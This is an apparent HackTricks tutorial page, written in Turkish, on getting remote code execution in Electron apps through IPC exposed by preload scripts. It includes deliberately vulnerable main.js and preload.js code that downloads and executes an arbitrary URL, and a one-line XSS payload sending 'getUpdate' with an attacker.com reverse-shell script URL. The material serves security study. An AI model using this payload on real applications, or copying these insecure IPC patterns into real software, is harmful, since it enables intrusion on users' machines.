5.7 KiB
Electron contextIsolation RCE via IPC
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Eğer preload script'i main.js dosyasından bir IPC uç noktası açıyorsa, renderer süreci buna erişebilecek ve eğer savunmasızsa, bir RCE mümkün olabilir.
Bu örneklerin çoğu buradan alınmıştır https://www.youtube.com/watch?v=xILfQGkLXQo. Daha fazla bilgi için videoyu kontrol edin.
Örnek 0
https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 adresinden bir örnek (bu slaytlarda MS Teams'in XSS'den RCE'ye nasıl istismar edildiğine dair tam bir örneğiniz var, bu sadece çok temel bir örnektir):
Örnek 1
main.js
'in getUpdate
üzerinde nasıl dinlediğini ve geçirilen herhangi bir URL'yi indirdiğini ve çalıştırdığını kontrol edin.
Ayrıca preload.js
'in ana tarafından nasıl herhangi bir IPC olayını açtığını kontrol edin.
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
Sömürü:
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
Örnek 2
Eğer preload script, renderer'a shell.openExternal
çağırma yolu doğrudan sunuyorsa, RCE elde etmek mümkündür.
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
Örnek 3
Preload script'i ana işlemle tamamen iletişim kurma yollarını açıyorsa, bir XSS herhangi bir olayı gönderebilir. Bunun etkisi, ana işlemin IPC açısından neleri açtığına bağlıdır.
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.